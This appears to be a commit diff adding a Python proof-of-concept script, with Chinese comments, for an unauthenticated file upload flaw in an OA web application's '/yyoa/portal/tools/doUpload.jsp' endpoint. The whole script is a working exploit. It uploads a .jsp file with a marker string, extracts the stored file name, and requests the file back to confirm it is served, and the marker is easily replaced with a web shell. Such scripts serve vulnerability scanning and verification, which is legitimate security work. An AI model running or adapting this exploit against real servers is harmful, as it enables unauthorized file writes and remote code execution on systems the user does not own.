|
| 1 | +#!/usr/bin/env python3 |
| 2 | +#-*- coding: utf-8 -*- |
| 3 | +#author: myh0st@xazlsec |
| 4 | + |
| 5 | +import sys |
| 6 | +import requests |
| 7 | +import re |
| 8 | +import time |
| 9 | +import random |
| 10 | +import io |
| 11 | +import urllib3 |
| 12 | +import string |
| 13 | + |
| 14 | +urllib3.disable_warnings() |
| 15 | + |
| 16 | +# 生成随机8位字符串(相当于 {{rand_base(8)}}) |
| 17 | +def generate_random_string(length=8): |
| 18 | + return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) |
| 19 | + |
| 20 | +# 主函数 |
| 21 | +def verify(target_host): |
| 22 | + # 生成变量 |
| 23 | + filename = generate_random_string(10).lower() # {{to_lower(rand_base(10))}} |
| 24 | + boundary = generate_random_string(16) # {{rand_base(16)}} |
| 25 | + |
| 26 | + # 第一个 POST 请求 - 文件上传 |
| 27 | + url1 = f"{target_host}/yyoa/portal/tools/doUpload.jsp" |
| 28 | + headers1 = { |
| 29 | + "Content-Length": "298", |
| 30 | + "Origin": f"{target_host}", |
| 31 | + "Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundary{boundary}", |
| 32 | + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", |
| 33 | + "Accept": "*/*", |
| 34 | + "Cookie": "JSESSIONID=1BDC1511726B24DF9B75FD554960F96A; JSESSIONID=0B4A41EA32B167EC5531DD0F78E4C10D", |
| 35 | + "Connection": "close" |
| 36 | + } |
| 37 | + |
| 38 | + # 构造 multipart/form-data 数据 |
| 39 | + payload = ( |
| 40 | + f"------WebKitFormBoundary{boundary}\r\n" |
| 41 | + f'Content-Disposition: form-data; name="myfile"; filename="{filename}.jsp"\r\n' |
| 42 | + "Content-Type: application/octet-stream\r\n\r\n" |
| 43 | + "www.cnvd.org.cn\r\n" |
| 44 | + f"------WebKitFormBoundary{boundary}--\r\n" |
| 45 | + ) |
| 46 | + |
| 47 | + try: |
| 48 | + response1 = requests.post(url1, headers=headers1, data=payload, timeout=10) |
| 49 | + body1 = response1.text |
| 50 | + except requests.RequestException as e: |
| 51 | + print(f"POST request failed: {e}") |
| 52 | + return False |
| 53 | + |
| 54 | + # 提取上传文件名 (13位数字+.txt) |
| 55 | + regex_pattern = r'(\d{13}\.jsp)' |
| 56 | + match = re.search(regex_pattern, body1) |
| 57 | + if not match: |
| 58 | + print("[-] Could not extract uploaded filename") |
| 59 | + return False |
| 60 | + jspuploadfilename = match.group(1) |
| 61 | + # 第二个 GET 请求 - 验证文件是否存在 |
| 62 | + url2 = f"{target_host}/yyoa/portal/upload/{jspuploadfilename}" |
| 63 | + headers2 = { |
| 64 | + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" |
| 65 | + } |
| 66 | + |
| 67 | + try: |
| 68 | + response2 = requests.get(url2, headers=headers2, timeout=10) |
| 69 | + body2 = response2.text |
| 70 | + except requests.RequestException as e: |
| 71 | + print(f"GET request failed: {e}") |
| 72 | + return False |
| 73 | + |
| 74 | + # matcher 条件检查 |
| 75 | + condition = ( |
| 76 | + response2.status_code == 200 and |
| 77 | + "window.returnValue" in body1 and |
| 78 | + "www.cnvd.org.cn" in body2 |
| 79 | + ) |
| 80 | + |
| 81 | + if condition: |
| 82 | + print(f"[+] Vulnerability found! Uploaded file: {jspuploadfilename}") |
| 83 | + return url2 |
| 84 | + else: |
| 85 | + print("[-] No vulnerability detected") |
| 86 | + return False |
| 87 | + |
| 88 | + |
| 89 | +if __name__=="__main__": |
| 90 | + target = sys.argv[1] |
| 91 | + data = verify(target) |
| 92 | + if data: |
| 93 | + print("[+]漏洞存在,上传后的图片路径为:", data) |
| 94 | + else: |
| 95 | + print("[-]漏洞不存在") |
0 commit comments